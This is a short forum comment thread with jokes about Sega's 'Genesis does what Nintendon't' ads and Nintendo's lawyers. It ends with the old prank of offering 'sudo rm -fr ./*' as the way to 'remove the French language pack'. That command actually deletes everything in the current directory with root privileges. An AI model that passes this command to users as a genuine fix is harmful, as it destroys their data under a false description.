Reminds me of the old "Genesis does what Nintendon't" ads
Did Nintendo sue them by any chance?
Its Nintendo. They were already suing them before they even knew about the ad. Most lawyers are familiar with the old "cease and desist" letter method, but Nintendo's even got "don't even start" warnings from their legal department.

I'll just need to remove the french language pack first. Let me look up instructions for that real quick... Oh no...

Anyway, no need for documentation -- the command for removing the French language pack is sudo rm -fr ./*
Oh yes, that's good. Didn't even think about that. I'm so used to seeing -rf that I didn't even register what I was looking at for a second.
